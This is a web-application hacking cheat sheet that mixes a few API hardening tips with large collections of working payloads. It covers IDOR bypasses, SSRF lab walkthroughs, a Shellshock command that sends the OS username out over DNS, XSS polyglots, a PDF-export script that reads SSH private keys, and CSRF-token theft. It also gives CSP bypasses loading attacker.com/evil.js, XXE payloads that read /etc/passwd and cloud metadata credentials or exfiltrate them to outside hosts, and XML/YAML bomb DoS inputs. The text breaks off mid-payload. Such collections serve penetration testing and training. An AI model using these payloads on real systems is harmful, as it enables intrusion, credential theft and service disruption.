• Validate user input to avoid common vulnerabilities (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
• Don't use any sensitive data (credentials, Passwords, security tokens, or API keys) in the URL, but use standard Authorization header.
• Use an API Gateway service to enable caching, Rate Limit policies (e.g. Quota, Spike Arrest, or Concurrent Rate Limit) and deploy APIs resources dynamically.
• Try input injections in ALL params
• Try execute operating system command
◇ Linux :api.url.com/endpoint?name=file.txt;ls%20/
• XXE
◇ <!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
• SSRF
• Check distinct versions api/v{1..3}
• If REST API try to use as SOAP changing the content-type to "application/xml" and sent any simple xml to body
• IDOR in body/header is more vulnerable than ID in URL
• IDOR:
◇ Understand real private resources that only belongs specific user
◇ Understand relationships receipts-trips
◇ Understand roles and groups
◇ If REST API, change GET to other method Add a “Content-length” HTTP header or Change the “Content-type”
◇ If get 403/401 in api/v1/trips/666 try 50 random IDs from 0001 to 9999
• Bypass IDOR limits:
◇ Wrap ID with an array {“id”:111} --> {“id”:[111]}
◇ JSON wrap {“id”:111} --> {“id”:{“id”:111}}
◇ Send ID twice URL?id=<LEGIT>&id=<VICTIM>
◇ Send wildcard {"user_id":"*"}
◇ Param pollution
▪ /api/get_profile?user_id=<victim’s_id>&user_id=<user_id>
▪ /api/get_profile?user_id=<legit_id>&user_id=<victim’s_id>
▪ JSON POST: api/get_profile {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
▪ JSON POST: api/get_profile {“user_id”:<victim’s_id>,”user_id”:<legit_id>}
▪ Try wildcard instead ID
• If .NET app and found path, Developers sometimes use "Path.Combine(path_1,path_2)" to create full path. Path.Combine has weird behavior: if param#2 is absolute path, then param#1 is ignored.
◇ https://example.org/download?filename=a.png -> https://example.org/download?filename=C:\\inetpub\wwwroot\a.png
◇ Test: https://example.org/download?filename=\\smb.dns.praetorianlabs.com\a.png
• Found a limit / page param? (e.g: /api/news?limit=100) It might be vulnerable to Layer 7 DoS. Try to send a long value (e.g: limit=999999999) and see what happens :)
Processing
• Check if all the endpoints are protected behind authentication to avoid broken authentication process.
• User own resource ID should be avoided. Use /me/orders instead of /user/654321/orders.
• Don't auto-increment IDs. Use UUID instead.
• If you are parsing XML files, make sure entity parsing is not enabled to avoid XXE (XML external entity attack).
• If you are parsing XML files, make sure entity expansion is not enabled to avoid Billion Laughs/XML bomb via exponential entity expansion attack.
• Use a CDN for file uploads.
• If you are dealing with huge amount of data, use Workers and Queues to process as much as possible in background and return response fast to avoid HTTP Blocking.
• Do not forget to turn the DEBUG mode OFF.
• If found GET /api/v1/users/<id> try DELETE / POST to create/delete users
• Test less known endpoint POST /api/profile/upload_christmas_voice_greeting
Output
• Send X-Content-Type-Options: nosniff header.
• Send X-Frame-Options: deny header.
• Send Content-Security-Policy: default-src 'none' header.
• Remove fingerprinting headers - X-Powered-By, Server, X-AspNet-Version, etc.
• Force content-type for your response. If you return application/json, then your content-type response is application/json.
• Don't return sensitive data like credentials, Passwords, or security tokens.
• Return the proper status code according to the operation completed. (e.g. 200 OK, 400 Bad Request, 401 Unauthorized, 405 Method Not Allowed, etc.).
• If you find sensitive resource like /receipt try /download_receipt,/export_receipt.
• Export pdf - try XSS or HTML injection
◇ LFI: username=<iframe src="file:///C:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>
◇ SSRF: <object data=”http://127.0.0.1:8443”/>
◇ Open Port: <img src=”http://127.0.0.1:445”/> if delay is < 2.3 secs is open
◇ Get real IP: <img src=”https://iplogger.com/113A.gif”/>
◇ DoS: <img src=”http://download.thinkbroadband.com/1GB.zip”/>
▪ <iframe src=”http://example.com/RedirectionLoop.aspx”/>
CI & CD
• Audit your design and implementation with unit/integration tests coverage.
• Use a code review process and disregard self-approval.
• Ensure that all components of your services are statically scanned by AV software before pushing to production, including vendor libraries and other dependencies.
• Design a rollback solution for deployments.
SSRF
SSRF:
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.
- SSRF attack against the server:
• Browse to /admin and observe that you can't directly access the admin page.
• Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
• Change the URL in the stockApi parameter to http://localhost/admin. This should display the administration interface.
• Read the HTML to identify the URL to delete the target user, which is: http://localhost/admin/delete?username=carlos
• Submit this URL in the stockApi parameter, to deliver the SSRF attack.
- SSRF against others
• Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Intruder.
• Click "Clear §", change the stockApi parameter to http://192.168.0.1:8080/admin then highlight the final octet of the IP address (the number 1), click "Add §".
• Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the "From" and "To" and "Step" boxes respectively.
• Click "Start attack".
• Click on the "Status" column to sort it by status code ascending. You should see a single entry with a status of 200, showing an admin interface.
• Click on this request, send it to Burp Repeater, and change the path in the stockApi to: /admin/delete?username=carlos
- SSRF with blacklist
• Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
• Change the URL in the stockApi parameter to http://127.0.0.1/ and observe that the request is blocked.
• Bypass the block by changing the URL to: http://127.1/
• Change the URL to http://127.1/admin and observe that the URL is blocked again.
• Obfuscate the "a" by double-URL encoding it to %2561 to access the admin interface and delete the target user.
- SSRF with whitelist
• Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
• Change the URL in the stockApi parameter to http://127.0.0.1/ and observe that the application is parsing the URL, extracting the hostname, and validating it against a whitelist.
• Change the URL to http://username@stock.weliketoshop.net/ and observe that this is accepted, indicating that the URL parser supports embedded credentials.
• Append a # to the username and observe that the URL is now rejected.
• Double-URL encode the # to %2523 and observe the extremely suspicious "Internal Server Error" response, indicating that the server may have attempted to connect to "username".
• Change the URL to http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos to access the admin interface and delete the target user.
- SSRF Open redirection:
• Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
• Try tampering with the stockApi parameter and observe that it isn't possible to make the server issue the request directly to a different host.
• Click "next product" and observe that the path parameter is placed into the Location header of a redirection response, resulting in an open redirection.
• Create a URL that exploits the open redirection vulnerability, and redirects to the admin interface, and feed this into the stockApi parameter on the stock checker: /product/nextProduct?path=http://192.168.0.12:8080/admin
• The stock checker should follow the redirection and show you the admin page. You can then amend the path to delete the target user: /product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
- SSRF out-of-band:
• In Burp Suite Professional, go to the Burp menu and launch the Burp Collaborator client.
• Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
• Visit a product, intercept the request in Burp Suite, and send it to Burp Repeater.
• Change the Referer header to use the generated Burp Collaborator domain in place of the original domain. Send the request.
• Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously.
• You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload.
- Blind SSRF with Shellshock:
• In Burp Suite Professional, install the "Collaborator Everywhere" extension from the BApp Store.
• Add the domain of the lab to Burp Suite's target scope, so that Collaborator Everywhere will target it.
• Browse the site.
• Observe that when you load a product page, it triggers an HTTP interaction with Burp Collaborator, via the Referer header.
• Observe that the HTTP interaction contains your User-Agent string within the HTTP request.
• Send the request to the product page to Burp Intruder.
• Use Burp Collaborator client to generate a unique Burp Collaborator payload, and place this into the following Shellshock payload: () { :; }; /usr/bin/nslookup $(whoami).YOUR-SUBDOMAIN-HERE.burpcollaborator.net
• Replace the User-Agent string in the Burp Intruder request with the Shellshock payload containing your Collaborator domain.
• Click "Clear §", change the Referer header to http://192.168.0.1:8080 then highlight the final octet of the IP address (the number 1), click "Add §".
• Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the "From" and "To" and "Step" boxes respectively.
• Click "Start attack".
• When the attack completes, go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously.
• You should see a DNS interaction that was initiated by the back-end system that was hit by the successful blind SSRF attack. The name of the OS user should appear within the DNS subdomain.
• To complete the lab, enter the name of the OS user.
Web requesting other ip or ports like 127.0.0.1:8080 or 192.168.0.1
chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000
GET /ssrf?user=&comment=&link=http://127.0.0.1:3000 HTTP/1.1
Enum IP or ports
**Tools**
https://github.com/tarunkant/Gopherus
XSS
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
https://portswigger.net/web-security/cross-site-scripting/preventing
Usage:
• Impersonate or masquerade as the victim user.
• Carry out any action that the user is able to perform.
• Read any data that the user is able to access.
• Capture the user's login credentials.
• Perform virtual defacement of the web site.
• Inject trojan functionality into the web site.
<script>alert(1)</script>
# XSS vectors
https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
# XSpear
gem install XSpear
XSpear -u 'https://web.com' -a
XSpear -u 'https://www.web.com/?q=123' --cookie='role=admin' -v 1 -a
XSpear -u "http://testphp.vulnweb.com/search.php?test=query" -p test -v 1
# Dalfox
https://github.com/hahwul/dalfox
- XSS filter bypasss polyglot:
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
- XSS in filename:
"><img src=x onerror=alert(document.domain)>.gif
- XSS in metadata:
exiftool -FIELD=XSS FILE
exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg
- XSS in Content:
SVG:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
- XSS in GIF Magic Number:
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
If image can't load:
url.com/test.php?p=<script src=http://url.com/upload/img/xss.gif>
- XSS in png:
https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
- XSS in PDF:
https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html?m=1
" <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText.fontsize(1)) }; x.open("GET","file:///home/reader/.ssh/id_rsa"); x.send(); </script>
" <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
https://brutelogic.com.br/blog/file-upload-xss/
# XSS Polyglots
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
```
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
%3C!%27/!%22/!\%27/\%22/ — !%3E%3C/Title/%3C/script/%3E%3CInput%20Type=Text%20Style=position:fixed;top:0;left:0;font-size:999px%20*/;%20Onmouseenter=confirm1%20//%3E#
<!'/!”/!\'/\"/ — !></Title/</script/><Input Type=Text Style=position:fixed;top:0;left:0;font-size:999px */; Onmouseenter=confirm1 //>#
jaVasCript:/-//*\/'/"/*/(/ */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/ — !>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">>
” ></plaintext></|><plaintext/onmouseover=prompt(1) >prompt(1)@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’ →” > "></script>alert(1)”><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">">
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1)
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
<sVg/oNloAd=”JaVaScRiPt:/**\/*\’/”\eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))”> <iframe src=jaVaScrIpT:eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><imgsrc="http://i.imgur.com/P8mL8.jpg">
Reflected XSS
The application receive data request and include it in the reponse without processing.
https://insecure-website.com/status?message=<script>alert(1)</script>
- Test every entry point including HTTP headers
- Submit random alphanumeric values, 8 chars to easily find the reflection. Burp Intruder grep payloads.
- Determine the reflection context. Could be between html tags, quoted, javascript string...
- Test candidate payloads. Burp repeater, place the payload before or after the number and search the number to locate the payload.
- Test alternative payload. If the payload is modified look for alternative with the same context.
Stored XSS
Also known as persistent or second order. The application receive data from untrusted source and include it in later HTTP response in an unsafe way.
Save a comment in a web:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
postId=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E&name=Carlos+Montoya&email=carlos%40normal-user.net
Check for entry points:
- Parameters or other data within the URL query string and message body.
- The URL file path.
- HTTP request headers that might not be exploitable in relation to reflected XSS.
Check for exit points:
- Data submitted to any entry point could in principle be emitted from any exit point. For example, user-supplied display names could appear within an obscure audit log that is only visible to some application users.
- Data that is currently stored by the application is often vulnerable to being overwritten due to other actions performed within the application. For example, a search function might display a list of recent searches, which are quickly replaced as users perform other searches.
Blind XSS
**Tools**
https://github.com/LewisArdern/bXSS
https://github.com/ssl/ezXSS
DOM XSS
Application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.
Example:
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
You searched for: <img src=1 onerror='/* Bad stuff here... */'>
You have to locate your input in the DOM with browser developer tools.
- Reflected DOM XSS
- Stored DOM XSS
Possible sinks:
document.write()
document.writeln()
document.domain
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
someDOMElement.onevent
JQuery:
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
XSS to CSRF
Example:
Detect action to change email, with anti csrf token, get it and paste this in a comment to change user email:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
AngularJS Sandbox
Removed in AngularJS 1.6
Is a way to avoid some strings like window, document or __proto__.
- Without strings:
/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
The exploit uses toString() to create a string without using quotes. It then gets the String prototype and overwrites the charAt function for every string. This effectively breaks the AngularJS sandbox. Next, an array is passed to the orderBy filter. We then set the argument for the filter by again using toString() to create a string and the String constructor property. Finally, we use the fromCharCode method generate our payload by converting character codes into the string x=alert(1). Because the charAt function has been overwritten, AngularJS will allow this code where normally it would not.
- With CSP:
<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
The exploit uses the ng-focus event in AngularJS to create a focus event that bypasses CSP. It also uses $event, which is an AngularJS variable that references the event object. The path property is specific to Chrome and contains an array of elements that triggered the event. The last element in the array contains the window object.
Normally, | is a bitwise or operation in JavaScript, but in AngularJS it indicates a filter operation, in this case the orderBy filter. The colon signifies an argument that is being sent to the filter. In the argument, instead of calling the alert function directly, we assign it to the variable z. The function will only be called when the orderBy operation reaches the window object in the $event.path array. This means it can be called in the scope of the window without an explicit reference to the window object, effectively bypassing AngularJS's window check.
XSS in JS
- Inside JS script:
</script><img src=1 onerror=alert(document.domain)>
</script><script>alert(1)</script>
- Inside JS literal script:
'-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
- Inside JS that escape special chars:
If ';alert(document.domain)// is converted in \';alert(document.domain)//
Use \';alert(document.domain)// to obtain \\';alert(document.domain)//
\'-alert(1)//
- Inside JS with some char blocked:
onerror=alert;throw 1
/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
The exploit uses exception handling to call the alert function with arguments. The throw statement is used, separated with a blank comment in order to get round the no spaces restriction. The alert function is assigned to the onerror exception handler. As throw is a statement, it cannot be used as an expression. Instead, we need to use arrow functions to create a block so that the throw statement can be used. We then need to call this function, so we assign it to the toString property of window and trigger this by forcing a string conversion on window.
- Inside {}
${alert(document.domain)}
${alert(1)}
CSP
Content-Security-Policy Header
- If upload from web is allowed or <img src="URL">:
https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
https://iplogger.org/invisible/
https://iplogger.org/15bZ87
Scenario : 1
Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;By observing this policy we can say it's damn vulnerable and will allow inline scripting as well . The reason behind that is the usage of unsafe-inline source as a value of script-src directive.
working payload : "/><script>alert(1337);</script>
Scenario : 2
Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;Again this is a misconfigured CSP policy due to usage of unsafe-eval.
working payload : <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
Scenario : 3
Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;Again this is a misconfigured CSP policy due to usage of a wildcard in script-src.
working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=data:text/javascript,alert(1337)></script>
Scenario: 4
Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url;Misconfigured CSP policy again! we can see object-src and default-src are missing here.
working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Scenario: 5
Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;we can see object-src is set to none but yes this CSP can be bypassed too to perform XSS. How ? If the application allows users to upload any type of file to the host. An attacker can upload any malicious script and call within any tag.
working payloads :"/>'><script src="/user_upload/mypic.png.js"></script>
Scenario : 6
Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none' ; report-uri /Report-parsing-url;In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. jsonp endpoints allow insecure callback methods which allow an attacker to perform xss.
working payload :"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
Scenario : 7
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;In such scenarios where script-src is set to self and a javascript library domain which is whitelisted. It can be bypassed using any vulnerable version of javascript file from that library , which allows the attacker to perform xss.
working payloads :<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
Scenario : 8
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable class. For more details visit this awesome git repo.
working payloads :ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
Scenario : 9
Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url;In the above scenario, there are two whitelisted domains from where scripts can be loaded to the webpage. Now if one domain has any open redirect endpoint CSP can be bypassed easily. The reason behind that is an attacker can craft a payload using redirect domain targeting to other whitelisted domains having a jsonp endpoint. And in this scenario XSS will execute because while redirection browser only validated host, not the path parameters.
working payload :">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">
Scenario : 10
Content-Security-Policy:
default-src 'self' data: *; connect-src 'self'; script-src 'self' ;
report-uri /_csp; upgrade-insecure-requestsTHE above CSP policy can be bypassed using iframes. The condition is that application should allow iframes from the whitelisted domain. Now using a special attribute srcdoc of iframe, XSS can be easily achieved.
working payloads :<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Mitigation : Proxy all the objects from third-party resources and create a b . Although this is only one way of mitigation, their could be many.
- CSP with policy injection (only Chrome)
/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
XXE
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access.
- XXE to Retrieve files:
Suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value. This causes the application's response to include the contents of the file:
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
Insert the following external entity definition in between the XML declaration and the stockCheck element:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
Then replace the productId number with a reference to the external entity: &xxe;
The response should contain "Invalid product ID:" followed by the contents of the /etc/passwd file.
- XXE to SSRF:
Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
Insert the following external entity definition in between the XML declaration and the stockCheck element:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
Then replace the productId number with a reference to the external entity: &xxe;
The response should contain "Invalid product ID:" followed by the response from the metadata endpoint, which will initially be a folder name. Iteratively update the URL in the DTD to explore the API until you reach /latest/meta-data/iam/security-credentials/admin. This should return JSON containing the SecretAccessKey.
https://medium.com/@klose7/https-medium-com-klose7-xxe-attacks-part-1-xml-basics-6fa803da9f26
https://medium.com/@klose7/xxe-attacks-part-2-xml-dtd-related-attacks-a572e8deb478
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
https://medium.com/@ismailtasdelen/xml-external-entity-xxe-injection-payload-list-937d33e5e116
https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/?fbclid=IwAR1M7QwQHf1rMJb_6Qb9HFdLbVBRhmr3FYl7dalh8LHCLuHiOU3ypWwPBxo
XXE
1. change password func -> JSON
2. converted to XML -> 200 OK
3. created dtd file on my ec2 and started webserver on port 80
4. crafted a XXE payload!
5. bounty!
Always convert POST/PUT/PATCH body to xml and resend req, don't forget to change the content-type.
# XXE
# Instead POST:
<?xml version="1.0" ?>
<!DOCTYPE thp [
<!ELEMENT thp ANY>
<!ENTITY book "Universe">
]>
<thp>Hack The &book;</thp>
Malicious XML:
<?xml version="1.0" ?><!DOCTYPE thp [ <!ELEMENT thp ANY>
<!ENTITY book SYSTEM "file:///etc/passwd">]><thp>Hack The
%26book%3B</thp>
# XXE OOB
<?xml version="1.0"?><!DOCTYPE thp [<!ELEMENT thp ANY >
<!ENTITY % dtd SYSTEM "http://example.com/payload.dtd"> %dtd;]>
<thp><error>%26send%3B</error></thp>
# Basic Test
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
# Classic XXE
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
Classic XXE Base64 encoded
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
# PHP Wrapper inside XXE
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<adress>42 rue du CTF</adress>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.bae64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>
# Deny Of Service - Billion Laugh Attack
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
# Yaml attack
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
# Blind XXE
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>
# XXE OOB Attack (Yunusov, 2013)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
# XXE OOB with DTD and PHP filter
<?xml version="1.0" ?>
<!DOCTYPE r [
